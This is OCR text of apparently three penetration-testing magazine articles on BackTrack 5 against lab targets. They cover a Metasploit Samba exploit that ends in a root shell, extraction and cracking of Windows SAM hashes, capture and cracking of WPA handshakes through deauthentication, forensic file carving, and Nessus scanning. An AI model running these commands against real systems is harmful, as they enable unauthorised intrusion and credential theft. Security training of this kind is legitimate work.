Network File System (NFS) and Apple File Sys-
tem (AFS) should also be inspected for the same
types of information as SMB. Usually attackers

and penetration testers look for files on publicly
available shares that hold sensitive data, specifi-
cally usernames and passwords. Going through
shares is one of the first things | do on an inter-
nal engagement. | can’t tell you how many times
I've found configuration files on a system that held
administrative credentials within them. That is an
easy engagement for sure! As a security profes-
sional, you can show system admins or IT man-
agement the types of data that an unauthenticated
entity can gain access to by simply being on the
same network as your assets. This is a good se-
curity awareness training aid to say the least. We’'ll
look at AFP and NFS interrogation tools in a later
section, when we cover the Metasploit Framework.
Stay tuned!

Metasploit

A deep dive tutorial on Metasploit is far beyond the
scope of this article. Many of the above mentioned
interrogation techniques, and even nmap scanning

Listing 7b. Pentest Via Backtrack VI

Exploit target

Id Name

0 Automatic

msf exploit (usermap script) > exploit
*] Started bind handler

*] Command shell session 1 opened

Name Current Setting Required Description
LPORT 4444 yes The listen port
RHOST 10.1.17.104 no The target address

10.1.17.100:54960 -> 10.1.17.104:4444

at 2012-05-23 15:56:08

-0400
id
uid=0 (root) gid=0 (root
ifconfig
ethO Link encap:Ethernet HWaddr 00:50:56:22:38:78

inet addr:10.1.17.104 Bcast:10.1.17.255 Mask:255.255.255.0
inet6 addr: fe80::250:56ff:fea2:3878/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:131024 errors:0 dropped:0 overruns:0 frame:0

TX packets:25716 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:16783028 (16.0 MB TX bytes:2934700
Interrupt:17 Base address:0x1400

2.7 MB

<)
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can be done from within Metasploit, but | decided
to show you some of the others tools within BT5R2.
However, the Metasploit Framework (MSF) must
be touched upon. In this section we’ll go into some
detail on using Metasploit to exploit vulnerabilities
and gain remote access to systems. Metasploit,
if you don’t know, is a security testing framework
created by HD Moore to aid in exploit develop-
ment and research. It assists security profession-
als, penetration testers, and hackers in realizing,
studying and weaponizing exploits and in gather-
ing data. There is a newer GUI front end for MSF
called Metasploit Community Edition (there are
commercial versions as well, namely Metasploit
pro or Metasploit express from Rapid7).

We'll use the traditional msfconsole. | have
moved onto preferring the Metasploit Pro GUI
now, but the console is easier to write about, since
it's all text driven. Besides, it's a classic interface
for MSF, and you should learn how to use it. From
within BT5R2 open a terminal and type msfcon-
sole and then hit enter. It takes a moment to load,
so be patient.

Once MSF loads you’re at the nst> prompt. Af-
ter you have discovered a vulnerability (either us-
ing manual techniques or from automated scan-
ning) you can check if MSF has a module for it.
You can do this by searching the modules on the
web, or by typeing in search at the MSF prompt with
some keywords. Example, if you type in ‘search
samaba’ than all modules with the ‘samba’ key-
word will be returned. We will attack a VM called
Metasploitable. This is a purposefully built VM from
the Metasploit team meant to be an educational
tool to learn how to use Metasploit. | have decid-
ed to attack the Samba service on Metasploitable.
From scanning | saw it was running Samba smbd
3.X, which has a well known exploit. You'll be able
to see all of the relevant commands in Listing 7,
but the basic steps are.

* choose the exploit — | found through Inter-
net searching that the exploit is expioit/muiti/
samba/usermap _script. IN MSF you choose the
module you want with the ‘use’ statement.

* choose target — the ip or name of the victim
machine. You use ‘set’ statements within MSF
to set the module options (RHOST option be-
low)

* choose payload — we'll use a generic *nix bind
payload, which means | will connect to a lis-
tener (below, LPORT is the port that will be lis-
tening for my bind connection once the exploit
completes)

* execute

www.hakin9.org/en
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Commands worth noting are highlighted for easi-
er review.

The last two commands above (id and itconfig)
prove that | am the root user on the system, and
the ip address is my target 10.1.17.104. This is a
simple demo of how to use the MSF. Again, the
Metasploit Community\Pro GUl is a great tool to in-
teract with Metasploit, | highly suggest you look in-
to it. MSF has many different types of modules, not
just exploits. They have auxiliary scanning mod-
ules, denial of service modules, information gath-
ering modules, and many more.

Conclusion

This article has scratched the surface of the many
tools available with BT5R2. | suggest you down-
load the VM and begin exploring. They say “you
don’t know what you don’t know”, and | believe that
to be true. While exploring the tools within BT5R2
you'll discover attacks and techniques that may
have been previously unknown to you.

I'd also like to mention that to learn how to use
BT5R2 and it’s tools to their fullest potential it is
obviously helpful to have a practice lab, with ma-
chines that are designed to be exploited. The
GhOst Networks Community Lab brought to you
SecuraBit is a community driven lab made for pen-
etration testing practice and education. The lab is
brand new, the mods over there love to get con-
structive feedback, and they invite you to come out
and practice using BT5R2 in their lab. The URL
to get started is: http://www.gh0Ost.net/wiki/index.
php?title=Main_Page.

NICHOLAS POPOVICH

TRLET Nick Popovich is an Infosec Profession-
al who has worked in many different ar-
eas of security throughout his career. He
has been in and worked for the U.S. mil-
itary. He has also worked for the govern-
& ment and private sector companies fo-
cusing on both the offensive and defen-
sive sides of security from attack simula-
tion and mitigation to incident response and intrusion detec-
tion/prevention.
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BackTracking in Wifi

Country

The BackTrack 5 distribution continues to be the “go to” tool
in a security professional’s arsenal. With the latest release,
“Revolution,’ the Backtrack development team delivers a kit
you can use anywhere on both light and heavy duty

security tasks.

dows passwords and wireless keys, as well as

forensic recovery using BackTrack on a USB,
in a persistent hard drive installation and running
in a virtual machine.

I n this practical guide, we’ll cover auditing Win-

BackTrack Everywhere
The key to a useful tool is not only the function of
the tool; it's having it available where you want it
when you need it. The best tools in the world won’t
do you much good if they’re not with you when you
need them. That’s where BackTrack comes in.
BackTrack 5 provides over three hundred indi-
vidual tools built on an Ubuntu base. More than
just a collection of tools, BackTrack aligns with fa-
miliar security testing methodologies:

* Information Gathering

* Vulnerability Assessment
+ Exploitation

* Privilege Escalation

* Maintaining Access

The current release is available for 32-bit and 64-
bit platforms and earlier releases include ARM
support. It can be downloaded in Gnome or KDE
variations, as an ISO image to run as a Live distri-
bution, or installed on a USB flash drive or a hard
drive. Earlier 32-bit releases are prepackaged to
run in VMware.

With so many tools and the ability to run it in so
many ways, a security professional can be as-

o HAaRIMS
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sured of immediate access to a tool that’s ready to
go when and where it's needed. As we move from
one installation of BackTrack to the next, we gain
familiarity with a common interface and a com-
plete set of tools that line up with common security
methodologies.

Choosing a Path

In this article we’ll use BackTrack to perform three
common tasks for a security professional: auditing
Windows and Wifi keys, capturing a drive image,
and recovering deleted files.

In performing these tasks, we’ll bounce between
installations of BackTrack on USB flash drives, in
virtual machines and installed directly to a hard
drive. In each case, choosing the right platform for
the task at hand.

Due to sheer size of BackTrack and time and
space limitations of this article, we only scratch the
surface of what you can do with BackTrack. How-
ever, we hope you'll get a solid grasp for how to
use a few key tools included with BackTrack, and
more importantly, see how various installation ap-
proaches allow you to tackle different parts of a job
and make your task easier.

Throughout this article, we'll refer to the BackTrack
website (hitp.//www.BackTrack-linux.org). Not on-
ly will you download the distributions we’'ll be using
there, but you will also find many detailed HOWTO'’s
and guides on taking BackTrack to the next level.

The besttools for any job are available immediate-
ly and conveniently and lack a steep learning curve.
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Simply put, when you need BackTrack it can be
just about anywhere, and it will be the same every
time you boot it.

Getting Started with BackTrack

Before beginning, we should understand the effect
persistence has on our installation of BackTrack.
Just like other Live CD/DVDs, booting and running
BackTrack directly from a DVD or a USB flash drive
gets you up and running immediately and without
the need to alter the hard drive in the PC. However,
when you shutdown and reboot, you lose any files
you've created or changes you’ve made (including
updates) to the running BackTrack instance.

For this reason, many people prefer to run Back-
Track from a local hard drive using dual boot, from
a virtual machine, or from a persistent USB instal-
lation. All of these options are available and de-
scribed at the BackTrack website.

For the examples in this article, our goal is to
choose the installation based on the task we are
performing and balance that with the need for per-
sistence.

Our starting point is always the BackTrack down-
load page found at http://www.backtrack-linux.org/
downloads. After a quick (optional) registration, the
Download button takes us to the release selector
(Figure 1).

A 32-bit or 64-bit ISO works for the following ex-
ercises. For the USB installation, you need a USB
flash drive at least 4GB in size. These examples
show Gnome, but if you're familiar with KDE you
won’t have trouble following along.

UNetbootin and BackTrack

For convenience and portability, a bootable USB
drive with BackTrack is a great place to start. While
BackTrack comes with UNetbootin installed, we
recommend downloading UNetbootin from Source-
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Download the Ottensive Security
Sample Peetration Test Report

forge. A USB version is useful in most cases as a
starting point. While you don’t get the same perfor-
mance as a hard drive install, you can do almost
everything you can with a local hard drive instal-
lation. UNetbootin is available for Windows, Linux
and Mac to create a variety of bootable USB drives
including (as of this writing), BackTrack 5R1. The
full installation can be found at Sourceforge (http./
UNetbootin.sourceforge.net/). While it will allow you
to download an older distribution within UNetbootin,
for these exercises we downloaded UNetbootin and
at least one ISO for BackTrack 5R2.

In Figure 2, we install the BackTrack 5R2 32-bit
Gnome ISO on a USB flash drive using the Diskim-
age option. We also install BackTrack 5R2 under
VMware Fusion and on a dual-boot Windows sys-
tem using an ISO image.

Post Installation Steps for Persistent
Installations

After installing BackTrack to a hard drive or a per-
sistent USB flash drive, it's a good idea to perform
a quick update with apt-get update and optional-
ly install OpenCL (or Cuda) GPU support. These
steps aren’t required, but provide access to the
latest versions of tools and will prepare the envi-
ronment for a later exercise.

Using BackTrack 5

(Not a) Legal Disclaimer

This article demonstrates techniques for using
tools in the BackTrack distribution which may
not be legal in all locales. Nothing in this arti-
cle should be construed as legal advice, and it
is important that you understand the laws appli-
cable to your use of security tools. Within a lab
environment or as part of your authorized work
responsibilities, the tools within the BackTrack
distribution provide an invaluable resource for

* UNetbootin

o |

== Select Distribution == % | | == Select Yersion =

Distribution

Welcome o UNetboolin, the Universal Netbool Installer. Usage.

1. Select adistribution and version to download from the list above, or manually specify
files to load below.
2. Select an installation type, and press OK 10 begin installing.

@ Dishimage 150 ¥ | 12-GNOME-32/BT5R2-GNOME-32.isu

Space used 1o preserve files across reboots (Ubuntu only): | 0 — MB

Iype: | USB Urive 2 | Drive: | idevisdb1 = OK Cancel

Figure 1. BackTrack Download Page
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Figure 2. Installing BackTrack to a USB
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auditing your organization and ensuring your re-
sources are protected according to policy.

Auditing Windows Passwords
BackTrack->Privilege Escalation->Password At-
tacks->Offline Attacks->john the ripper.

In this example, we have physical access to the
system we wish to audit and the ability to boot the
system to our USB flash drive installation of Back-
Track 5. If your target PC has a DVD drive, you can
use a Live DVD. Since that’s not always guaran-
teed, the USB installation meets our needs more
frequently. You may also need to enter the com-
puter BIOS/SETUP to configure it for USB boot.

Since our USB installation is non-persistent, we
also need media to transfer our captured files. A
second formatted USB flash drive will work.

Grabbing the Windows Password Hash
Using the USB installation of BackTrack 5 loaded
earlier, we boot our target Windows 7 PC using de-
fault Text Mode. If prompted for a password, the de-
fault userid and password for BackTrack are ‘root’
and ‘toor’. After logging in, at the #root prompt type
‘startx’ for the GUI. We want to mount the Windows
partition, and the easiest way to mount the internal
hard drive is on the Places menu (see Figure 3).
After mounting the drive using the GUI, open a
shell (command prompt) to access the windows
hive directly and run the initial hash captures.
On our test system, we have an account named
victiml With a weak password. We create a tem-
porary directory and copy the Windows hive files.

Copy the Windows SAM and SYSTEM hives

#mkdir /root/victim.win7.sixchar
#cd /media/Acer/Windows/System32/config

#cp sam system /root/victim.win7.sixchar

At this point, you can either dump the password
hashes on the target machine or take copies of

<< back | track [=

Figure 3. Mounting a Windows Partition
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the hive files to another BackTrack installation to
complete the password audit. If you have a sec-
ond USB flash drive, insert the drive and copy
the hive files. USB drives will mount under /media
in most cases.

Changing BackTrack Platforms
In our example, we perform a single password ex-
traction on a second machine running BackTrack.
We could perform the same steps on the target
machine, but if we’re going to audit all the accounts
the process may be time consuming and our target
may not be the up to completing the task quickly.
By moving the hive files to another machine, we
can run our tests off-site and leave the process
running in a protected environment. In this case,
we’ve downloaded the BackTrack 32-bit ISO and
installed it under VMware Fusion.

Cracking the Windows Password

We use the same Windows hives we just copied
from our target machine to audit the user pass-
word. In our first step, we use nxnive to extract the
Windows Syskey. The Syskey is used to encrypt
the local password hash. In this case, we’ve used
a six character password to limit our processing
time, but the same process works for longer pass-
words. The output of vxnive is stored in the file
sixchar.keyfile fOr use in the next step.

#bkhive system sixchar.keyfile

Next samdump2 extracts the password hashes from
the Windows SAM file using the SAM file copied
from the target machine and the sixchar.keyfile
extracted using okhive. We grep the target us-
er hash (victim1) and store it in a temporary file
named victimlpassword.

Figure 4. Cracking a Windows Password

<)
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#samdump? sam sixchar.keyfile | grep victiml >
victimlpassword

Take a quick look at the file to see the format.
#cat victimlpassword

victiml:1010:aad3b435b51404eeaad3b435051404ee:8£74
4856b38f805d4fd702163532788a::

In the last step shown in Figure 4, we locate John
the Ripper on the file system. Like the other pass-
word tools, John the Ripper is located in the /
pentest/password directory.

#cd /pentest/password/john
#./john —-format=nt \ /root/victim.win7.sixchar/

victimlpassword

Since we chose a simple password, the brute
force attack is successful in a short time. This
crack was executed in a VMWare Fusion installa-
tion of BackTrack 5R2 32-bit.

UserlID: victiml

Password: Sixer6

Auditing Simple Wifi Keys
BackTrack->Privilege Escalation->Password At-
tacks->GPU Tools->oclhashcat+.

Now that we’'ve warmed up with a simple Win-
dows password, we can move on to testing a wire-
less network. We frequently see news stories
of poorly secured wireless networks abused by
neighbors and criminals. In many cases, a poor-
ly secured network may only lead to poor network
performance, but it can lead to the attention of law
enforcement when misused. While recommenda-
tions and warnings may successfully encourage
some users to secure their access points, some-
times a test is the only way to make the case con-
vincingly. In this example, we use a persistent hard
drive installation of Backtrack 5R2 64-bit to cap-
ture and decrypt a short wireless key. To do that,
we use the following steps:

Quick WPA / WPA2 Crack

+ Configure a USB wireless adapter in monitor
mode

* Monitor local wireless traffic using airodump-ng

 ldentify our target network BSSID and the sta-
tion ID of a connected device

* Disconnect a station

» Capture the 4-way handshake

www.hakin9.org/en
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» Convert the capture file to Hashcat format
* Run ocinashcat+ against the key

We again use a simple password for demonstra-
tion purposes. Because we've also used a tool
with dictionary capabilities, we chose a password
that’s in the dictionary. We've stacked the deck
in our favor to demonstrate the technique, but
the same approach will work with more complex
passwords.

Selecting our BackTrack Platforms

In our first example, we ran BackTrack from both
a USB flash drive and a virtual machine. The com-
mon distribution allowed us to use the same tools
in either environment. Neither of these installations
required additional drivers or customization.

If we had no option, we could perform the follow-
ing exercise using a Live DVD or USB flash drive
installation, but when it comes to cracking more
complex passwords, we find GPU based tools
useful. While Hashcat can run using only the CPU,
it becomes more powerful when run with GPU sup-
port. Since that support requires the installation of
additional drivers, this typically means a hard drive
installation of BackTrack. Installation instructions
for OpenCL and Cuda drivers can be found in the
HOWTO section of the BackTrack website.

Selecting a Wireless Adapter

Not all wireless adapters are created equal, and
in order to successfully capture the handshake we
need, we must use an adapter that is capable of
packet injection. For this exercise, we've used an
Alfa AWUSO36NEH with the rt2800usb driver. A list
of NICs that work well with BackTrack and are ca-
pable of packet injection can be found in the Wire-
less Drivers article on the BackTrack Wiki website
(http.//www.backtrack-linux.org/wiki/).

Note that a USB wireless adapter also allows you
to scan from VMware installations of BackTrack.
By default, VMware will virtualize an Ethernet NIC
within each virtual machine. Even if your host net-
work adapter is wireless, the virtualized NIC will
appear as a standard Ethernet connection (etho).

Figure 5. Using airodump-ng to Monitor Wifi
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Figure 6. Using aireplay-ng to Disconnect a Station

By adding a USB wireless adapter, you get direct
access to that adapter and can run any of the wire-
less utilities in the BackTrack distribution.

Listening with Airodump-ng

After inserting a USB wireless adapter in the
BackTrack PC, enable the wireless interface. In
theory, this is a simple process. In practice, it can
take some time and may require unloading and
reloading the wireless adapter’s kernel modules.
Assuming the adapter is properly configured,
identify where your USB wireless adapter is as-
Signed using airmon-ng.

#airmon-ng

This will reveal the wlan adapter (usually wiano or
wian1). Next, turn the interface up, start airmon-ng
and begin capturing with airodunp-ng.

#ifconfig wlan0 up
#airmon-ng start wlanO

#airodump-ng mon0

The first time we run airodump-ng mon0, W€ See
all the wireless access points within range.

zMetwork-02.cap [Wireshark 1.6.6 (5VN Rev Unknown from unknown}]

B Lo®8e= Q YerrTEE
Filter: capol v Expression.. Clear

No. Time Source I
7985 129.953922 SamsungE 24:26:4c
9343 149 . 98BB6E Sam 26:4¢
9349 149.933458 A
9351 149940096
9353 149, 943698 #

Togls Intemals Help

Protocol Length Info

+ Frame 7985: 133 bytes on wire (1064 bits), 133 bytes captured (1064 bits)
« TFFF_AA2 11 NAS Nata  Flane- F
0oe0 88 62 3a 01 14 da &9 65 00

6818 94 63 dl 24 26 4c 80 88 80 B8
8826 5f 62 88
1elel ¢
B8 25 82
b 80 60 80
Ba68 69 60 69 68 88 88 80 6
6676 OO 6O 0O 0O 0O 0O 60 68 60 O 00 60
6g8s @0 B GO BB O 0 L

Profile: Default d

) File: "rootjgatwifijezNetwork-02.C... - Packets: 9637 Displayed: 5 Marke..,

Figure 7. Confirming the Key in Wireshark
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Looking for the column marked “CH”, identify
the channel of the target access point. In this
case, the target network is named eznetwork and
it is on channel 11.

Stop and restart airodump-ng with the -w and -c
parameters to specify the output file and ignore the
other channels. Add the --bssia parameter with the
BSSID of the target access point to eliminate all
other access points.

#airodump -w ezNetwork -c 11 -bssid
94:63:D1:24:26:4C monO0

In Figure 5, we've issued the airodump-ng COM-
mand, and are writing our output to eznetwork and
only monitoring on channel 11.

Notice the STATION ID of 14:pa:E9:05:00:68 CON-
nected to our target access point. This is our target
for disconnect.

Mind if | Interrupt You? (Aireplay-ng)

While monitoring the airodump-ng cOmmand output,
open a second command shell. In Figure 6, we see
the aireplay-ng command used to disconnect the
client from our target access point. The disconnect
is followed by a reconnect. Our goal is to capture

* root@bt: ~/getwifi
File Edit View n

F5 F5 5F 54
BC

Figure 8. Converting a Capture for Hashcat
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the 4-way handshake during the reconnect. It may
be necessary to run airepiay-ng command twice to
disconnect the station.

#aireplay—ng -deauth 10 -a 94:63:D1:24:26:4C \
-c 14:DA:E9:05:00:68 mon0

The Value of a Good (4-way) Handshake

After executing aireplay-ng, return attention to the
shell running airodump-ng. If we successfully dis-
connect our target, when it reconnects we see wea
handshake: 94:63:D1:24:26:4c in the top rlght corner.
Control-C out to end to the airodump-ng process
and look for the output file. In this example, the file
iS ezNetwork-02.cap. Ihis is a Wireshark compatible
capture file.

To confirm we have successfully captured the
4-way handshake, open a shell and type wireshark
or navigate the BackTrack menu.

BackTrack -> Forensics -> Network Forensics- >
wireshark.

We open the ezNetwork-02.cap file and in the
filter dialog, type eapol. In Figure 7, we see four
messages with:

Protocol:EAPOL and Info: Key (msg 1/4 through 4/4).
We have successfully captured the key.

Preparing the Capture

This capture file has the key we need, but isn’t yet
in a format Hashcat can read. There are two ways
to convert it, using aircrack-ng Or using a convert-
er hosted at hashcat.net. For this example we will
US€ aircrack-ng (Figure 8)

ntest/passwords/oclhasheats

Figure 9. Cracking the Wifi Key
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/dev/sda /

Figure 10. /maging a Drive with dc3dd

#aircrack-ng ezNetwork-02.cap -J ezNetwork

Hashcat (CPU or GPU)
As before, we could have performed the earlier
steps using any BackTrack installation method
(Live, USB, VM, hard drive installation). For per-
formance and persistence, it's usually better to
execute this step on a BackTrack installation with
GPU support installed. Instructions for installing
GPU support can be found in the HOWTO section
of BackTrack-linux.org.

Now that we have the HCCAP file, we execute
the following command:

#./cudaHashcat-plus32.bin -m 2500 \ /root/getWifi/
ezNetwork.hccap \

../wordlists/rockyou.txt -o /root/getWifi/
ezNetwork.out

~/getUsB

Figure 11. Mounting the Image Read-Only
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The BackTrack distribution comes with a word
list named darkcode.1st located in the /pentest/
passwords/wordlists directory. We've downloaded
the rockyou.txt list linked at the BackTrack web-
site. The ‘-m’ parameter indicates this is a WPA/
WPA2 key. The other parameters specify the
hash file, a dictionary, and the output file. In Fig-
ure 9, we see the password is found in four sec-
onds. The last line in Figure 9 shows the final out-
put from our cudanashcat command. While a trivial
example, the same process with a dictionary and
customizable rules can provide successful audits
of a wide variety of passwords.

ezNetwork: P@ssword

Forensic File Recovery

Our final example demonstrates a common foren-
sic task, capturing a drive image. As a general rule,
any forensic examination performed for legal pur-
poses should follow stringent procedures to ensure
the target drive isn’t altered in any way and all evi-
dence is handled correctly. In these circumstances,
a Live DVD or a USB running Forensic Boot option

% root@bt: ~/getUSB/foremost

Personal -

l 4

i

& root

@ Deskrop

2 Trash 00002533.jpy
Devices =

L File System

— Floppy Drive

W SECRETS
Network =

i Entire network

=l

— |
00005341,jpg 00007261,jpg

>

00015165,pg

00010029.jpg

00011725.jpg

00018189.jpg 00D21485.jp 00025941.jpg

— Fl

9 items, Free space: 15.8 GB

Figure 13. Visually Verifying Recovered Files
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will be the best choice. BackTrack’s Forensic Boot
provides the ability to runt BackTrack without auto-
mounting disks or using existing swap space on the
target drive. For this example, we skip the forensics
rigor, and capture a small USB flash drive which
had several deleted JPG files.

Using DC3DD for disk imaging

Ouir first step is to capture an image of the drive us-
ing dc3dd. dc3dd is a a version of the *nix dd com-
mand specifically designed for forensic use. While
it has many useful features, the ability to calculate
hashes forimages and show progress as a percent-
age make it valuable during a forensic drive image.
Figure 10 shows the process of capturing the drive
image with the following command.

#dc3dd if=/dev/sdbl of=/root/getUSB/lexar256.1img

Mounting an Image for Analysis

While not necessary for file recovery, we also
mount the drive as read-only to prepare for the
next step. See Figure 11.

#mkdir /mnt/examineUSB
#mount -o ro, loop /root/getUSB/lexar256.img \ /

mnt/examineUSB

Recovering deleted files with Foremost
BackTrack-Forensics-Forensic Carving Tools ->
foremost. Next, we list the files on the mounted
read only image /mnt/examineuss and find there are
no files (total 0) and execute foremost to recover
JPG files (see figure 12).

#foremost -t jpg -1 ../lexar256.img

After a few seconds, the command completes and
we examine the output/jpg directory to find the miss-
ing nine files. A quick check with the File Browser
confirms they are the deleted images (Figure 13).

Conclusion

The BackTrack 5 distribution provides security pro-
fessionals with hundreds of useful tools for common
and uncommon tasks. While the importance of the
individual tools shouldn’t be overlooked, the combi-
nation of these tools on a single platform installed or
run from a wide variety of media adds a crucial di-
mension to this kit. While we only touched on a few
tools in this demonstration, the platforms used pro-
vide a consistent base for employing the hundreds
of other tools when and where you need them.

DENNIS KING
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How to Use

Backtrack and Nessus for Vulnerability Management?

Ethical Hacking and Penetration Testing are fun but what'’s
the business value of these activities?
What'’s the reason that motivates a manager to pay us to

hack their network?

hat’s the ultimate goal? | believe that this
W is possible only for a reason that pene-

tration testing is part of the vulnerability
management process. This process is the key of
enterprise security. | don’t want to tell you apho-
risms like the Schneier’s one: “security is a pro-
cess, not a product,” but the reality is that it is true!
For implementing the best manner to this process
we, need to use a correct methodology. | partic-
ularly appreciate the Deming Cycle’s or PDCA
(plan-do-check-act) and in my opinion, the activ-
ity of penetration test and vulnerability assessment
should be placed in the CHECK process. The pri-
mary task of these activities is to create a correct
ACT. In our case, this act is the remediation plan.
If you would like more information about this topic,
you can get them at this URL: http:/en.wikipedia.
org/wiki/PDCA (Figure 1).

A correct implementation of Deming Cycle
can drive security to continuous improvement,
conversely an incorrect or poor implementa-
tion can drive the corporate security towards

Figure 1. The Deming Cycle/PDCA
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the abyss. A full explanation of the topics is
beyond the scope of this article, for better un-
derstanding of these concepts you can read a
short but good document on Wikipedia (http:/
en.wikipedia.org/wiki/Vulnerability _manage-
ment). For our purpose, we need to know on-
ly this short information: we need to create a
baseline of environment, prioritize vulnerabili-
ties and maintain and monitor our security; but
the ultimate goal is to minimize the damage
that could be caused by the vulnerability and
mitigate vulnerabilities.

Now that we have understood the philoso-
phy, we will see how to implement this process
in practice:

My lab

For this article (Figure 2), | have implemented a
little test laboratory. | use VMware Workstation 7.0
for virtualization with five virtual machines; the first

L TargeWTEAUGA - Vhbwcars Workitation

y "
L od |De® | O

Libtary

*
| o TR (8 SRz {3 vl 5 TargclWTEnkNE4

ez N
Figure 2. After establishing my laboratory

Processing triggers for ureadahead ...

Figure 3. Setting up Nessus
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How to Use Backtrack and Nessus for Vulnerability Management?

VM is a Backtrack 5 R3 x64, with installed Nessus
5.0.2. | use my Nessus professional feed, but nor-
mally this is not an issue, the primary differences
between Professional and Home feed are compli-
ance check and scan scheduling, but thiese differ-
ences don’t impact our test at all. It is considered
that for business use you must have the profes-
sional feed because with the home version you
can scan only 16 IP addresses (http://www.tena-
ble.com/products/nessus/editions) (Figure 3).

For the target machine | chose to install differ-
ent windows operating systems: two machines
with installed Windows Server 2008 R2 x64, one
of them is a Domain Controller, the other is a
member server with installed XAMPP (Apache,
Mysqgl and PHP), one stand-alone server with in-
stalled Windows Server 2008 SP2 and the other
machine with installed Windows 7 Enterprise edi-
tion x64 with installed Microsoft Office 2011, Ac-
robat Reader, and some other popular software.
The IP addresses of my lab are: 192.168.254.1
for my attacking box, 192.168.254.201 for Do-
main Controller, 192.168.254.202 for member
server 2k8 R2, 192.168.254.204 for stand-alone
server 2k8 SP2 and 192.168.254.150 for the cli-
ent Windows 7 Ent.

Sign In To Continuo

Figure 4. Signing into Nessus

NesSsUus’ wiw

Figure 5. List of Nessus’ policies
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Vulnerability assessment

The first step of our process is conducting ba-
sic vulnerability assessment. When | say “basic,”
| mean in the mode best known to most people;
for most people to carry out a vulnerability assess-
ment means to perform a “poor” penetration test
— this is absolutely incorrect. Of course, in the first
step | execute the test without any form of authen-
tication. This way, the VA really looks like a pentest
and | can discover vulnerabilities exposed to the
outside of the network, but as | will show in this ar-
ticle, this point of view is absolutely limiting.

For now however, let's proceed with this phase
of the test.

Nessus is a client-server software. The Nes-
sus daemon starts a dedicated webserver on port
8834 and | can connect via browser. In the past, to
use Nessus, it was necessary to install Flash but
now it is possible to work on Nessus with HTMLS5.
This feature is experimental but in my experience,
it works very well, although in some cases, it is
necessary to refresh the working page (Figure 4).

Figure 6. Policies list in Nessus

© New Scan A

Scan Typ Tormplate -

Sean Policy Intemal Metwork Scan

e

Uplaad Tarpets

Figure 7. Nessus’ “New Scan” window
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After authentication, the first thing we need to
set is Nessus policy. With default installation, Nes-
sus installs four predefined policies. If you need to
change something in the policy, it can be a good
idea not to touch the default policy, but copying an
existing policy for customizing (Figure 5).

In this scan, | use all plugins in the “internal net-
work scan” policy. Nessus provides plugins for
many operating systems and for many services.
In many cases, it is possible to remove unneces-
sary plugins to increase scan performance and for
reducing the network congestion and the noise. It
is true that the noise in vulnerability assessment
is not as important as in the case of a penetration
test, but it is a good practice to improve the quality
of service. If you don’t know exactly which type of
operating system is in place in the customer infra-
structure, it is better to use more than one plugin
(Figure 6).

In the first example, | will use the policy as-is.
For this reason, | go ahead and direcly create a
new template named “interna.” In this template, |
set the policy | want to use (internal network scan)
and my targets. In this case, as a target | use
192.168.254.150-204 (Figure 7).

It is better to create a template rather than a scan
because we can reuse the template as many times
as we want. Now, I'm ready to start my first scan
clicking over my template (Figure 8).

© Launch Scan Template =

Are you Sure you want 1o launch this scan?

Figure 8. Starting my first scan

B DO

Hests Summary

Figure 9. Hosts summary

B o [« ]

Hosts Summary
® [ El
|

Figure 10. Results of the scan
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During the scan we can watch the preview re-
sults, broken down by host. In many cases during
the test, the auditor can manually try to deepen the
results that are displayed by the software. | would
say that about 80% is left to the tools and the re-
maining 20% is checked manually by the techni-
cian. In too many cases, the test work is only run
with automated tools without providing any added
value to the security analyst (Figure 9).

When the scan is finished, you can see the re-
sults in the windows. In our laboratory, the as-
sessment was not bad — Nessus identifies vul-
nerabilities using a color scale: violet (the worst
— identifies highly critical vulnerabilities that should
be corrected immediately), red (the remediation of
this vulnerability must be very fast), and other col-
ors (identify vulnerabilities more or less serious
that must be addressed with a correct scale of pri-
orities) (Figure 10). Analyzing immediately critical
vulnerability (Figure 11).

We see that there is vulnerability in SMB2 pro-
tocol with existing patch, but not patched on this
server. This vulnerability can be exploited in field
with public exploit which can allow remote code
execution (Figure 12).

8 o B 192168254204 e |
e E MES00-050: Microsofl Windows SMB2
®

1 ENB Sgning Disaied
DCE farviers Enumesntion
Hessus SYN scanner
Mierossft Windows EMB Senviee Detncton
Cammon Patiorm Enumesation (CPF)
Dievice Type
Ethermet Cand Manutactires Detecton
ik Lol Mt 61 Miar it olution [LLMINR) Detecton
MACrOsOft Windows. SMD Log In Pos sibie

WACICacht Windows SMD RativeLarManager Rlemcts Sysiem

Figure 11. List of vulnerabilities for one of the machines

W 509,050 Miorosofl Windowes SMB? _SmbaValdaleProvidorCalbaick() Vidnorabilty (75407)

<>

Syropsis

Description

Solution

Figure 12. One of the vulnerabilities in detail

TBO 03/2013



How to Use Backtrack and Nessus for Vulnerability Management?

In “vulnerability information,” we can see that the
exploit code exists for most popular pentest frame-
works, in particular for this specific vulnerability for
metasploit, canvas, and coreimpact (Figure 13).

For the second host, we don’'t have operat-
ing system vulnerabilities, but only one related to
XAMPP installation (Figure 14).

For the other host, the situation of vulnerabilities
is satisfactory: apparently there is no attack sur-
face against them, but are we sure that this is the
case? Let’s see.

Authenticated scan
An interesting but underestimated feature of Nes-
sus is authenticated scan. For more detail we can
read the official document of Tenable at this URL:
http://static.tenable.com/documentation/nessus_
credential_checks.pdf.

To use credential (or authenticated) scan | need
to configure a new policy. In order to do this, | co-
py “internal network scan” policy to a new policy.
In our case, with a very imaginative name — “copy
of internal network scan.” Now, | adequately edit

Pilugin Infomation

Plugin Type: ramoie
Plugin Publication Date: 2
Plugin Last Modification Date: 2012/06/14

Risk Information

Hisk Faetar: Crilie)
CV3S Base Score: |

GVES Vector Score: GVESSE

CVSS Temporal Vector: CVS
CVES Temporal Szore: &

Vulnerability Information

Exphoit Avallable: true

Exploitability Ease: Expduiis e available
Palch Pullication Date; F0057001
Vulnerabillily Publication Date: 2000/09/08
Explaltabile With:

Figure 13. Plugin, risk, and vulnerability information

£ voss B 192.168.254.202 xoawoszosase [
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£ HTTP TRACE | TRACK Methers, Aleweel

EMB Bigrirg Dinablend
Bagrary

Common Pratform Esumerntion {CPE)
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HTTR Servns Typs and ersion

Figure 14. Vulnerabilities list for the second host
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my new policy: in “credentials,” | put the name
and the password of administrative account to ac-
cess the host (I find it very interesting the possi-
bility of using hash instead plain text password,
this is very useful during pentest, because if | get
a password hash via exploiting machine, | can re-
use this hash to gain access to the other machine
without losing time for cracking the password)
(Figure 15).

When | setup the credential scan, | normally use
just an interesting plugin. In this case, my lab only
has Windows machines and | only use plugins for

e Policy Credentials

.i Credentials
<
x

Figure 15. Policy credentials

o [ e [T =
